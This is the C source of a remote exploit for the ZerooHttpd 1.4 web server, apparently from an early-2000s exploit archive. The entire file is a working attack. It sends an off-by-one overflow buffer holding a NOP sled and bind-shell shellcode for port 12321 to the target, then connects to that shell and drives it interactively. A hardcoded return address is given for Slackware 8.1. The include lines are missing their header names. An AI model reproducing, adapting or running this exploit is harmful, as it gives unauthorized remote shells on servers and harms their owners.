// ZerooHttpd v1.4 // off-by-one remote root/user/whatever exploit // have fun with this code // written by newroot (www.newroot.de) #include #include #include #include #include #include #include #include #define VERSION "0.1" #define BUFSIZE 1024 #define ADDY 0xbffff4d0 /* Slackware 8.1 */ long getsp () { __asm__ (" movl %ebp, %eax "); } int connect_host(char *, int); void shell(int); unsigned char shellcode[] = // port 12321 - linux shellcode "\x55\x89\xe5\x31\xc0\x66\xc7\x45\xf2\x30" "\x21\x89\x45\xf4\x89\x45\xf8\x89\x45\xfc" "\x89\x45\xe8\xfe\xc0\x89\xc3\x89\x45\xe4" "\xfe\xc0\x66\x89\x45\xf0\x89\x45\xe0\xb0" "\x66\x8d\x4d\xe0\xcd\x80\x89\x45\xe0\xb0" "\x66\xfe\xc3\x8d\x55\xf0\x89\x55\xe4\x31" "\xd2\xb2\x42\x80\xea\x32\x89\x55\xe8\x8d" "\x4d\xe0\xcd\x80\xb0\x66\xfe\xc3\xfe\xc3" "\xfe\xc3\x89\x5d\xe4\xfe\xcb\x8d\x4d\xe0" "\xcd\x80\xb0\x66\xfe\xc3\x31\xd2\x89\x55" "\xe4\x8d\x4d\xe0\xcd\x80\x89\xd9\x89\xc3" "\xfe\xc9\xfe\xc9\xfe\xc9\x31\xc0\xb0\x3f" "\xcd\x80\xfe\xc1\xe2\xf4\x51\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51" "\x89\xe2\x53\x89\xe1\x31\xc0\xb0\x3d\x2c" "\x32\xcd\x80"; int main (int argc, char **argv, char **envp) { char *buff; long *longptr; int i=0, j=0; int align = 2; long ret; int thesock; int shellsock; int port; ret = ADDY; port = 8000; switch (argc) { case 4: ret = ADDY - atol(argv[2]); case 3: port = atoi(argv[2]); case 2: break; default: printf ("%s - ZerooHttpd remote exploit\n\twritten by newroot\n", argv[0]); printf ("\nUssage %s [port] [offset]\n", argv[0]); return EXIT_FAILURE; break; } thesock = connect_host (argv[1], port); if (thesock < 3) { fprintf(stderr, "Can't connect to target\n"); return EXIT_FAILURE; } fprintf (stderr, "Using adress %#x\n", ret); buff = (char *)malloc (BUFSIZE+1); if (buff == NULL) return EXIT_FAILURE; longptr = (long *) buff; for (i=0; i< 200; i+=4) *(longptr++) = ADDY; 0xbffff4d0; for (j=0;j< 700 - strlen (shellcode);i++, j++) buff[i] = 0x90; for (j=0;j< strlen (shellcode);j++, i++) buff[i] = shellcode[j]; for (j=0; j < 0xb4; j++, i++) buff[i] = 0xff; buff[1025] = 0x00; send (thesock, buff, 1025, 0); sleep (1); // wait for our shell shellsock = connect_host(argv[1], 12321); if (shellsock < 3) { fprintf(stderr, "Exploition Failed!\n"); fprintf(stderr, "Can't connect to my shell\n"); return EXIT_FAILURE; } shell(shellsock); close (thesock); close (shellsock); free (buff); return 0; } int connect_host(char * host,int port) { struct sockaddr_in addr; struct hostent *he; int sock; he=gethostbyname(host); if (he==NULL) return -1; sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock==-1) return -1; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1; return sock; } void shell(int thesock) { fd_set fds; char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n"; int n; FD_ZERO(&fds); FD_SET(thesock, &fds); FD_SET(0, &fds); send(thesock, cmd, strlen(cmd), 0); while(1) { FD_SET(thesock,&fds); FD_SET(0,&fds); if(select(thesock+1,&fds, NULL, NULL, NULL)<0) break; if( FD_ISSET(thesock, &fds) ) { if(!(n=recv(thesock,buff,sizeof(buff),0))) { exit(EXIT_FAILURE); } if (!write (1, buff, n)) break; } if ( FD_ISSET(0, &fds) ) { n = read (0, buff, sizeof(buff)); if(n <= 0){ fprintf(stderr,"EOF\n"); exit(EXIT_FAILURE); } if(send(thesock,buff,n,0)<0) break; } } fprintf(stderr,"done.\n"); exit(0); }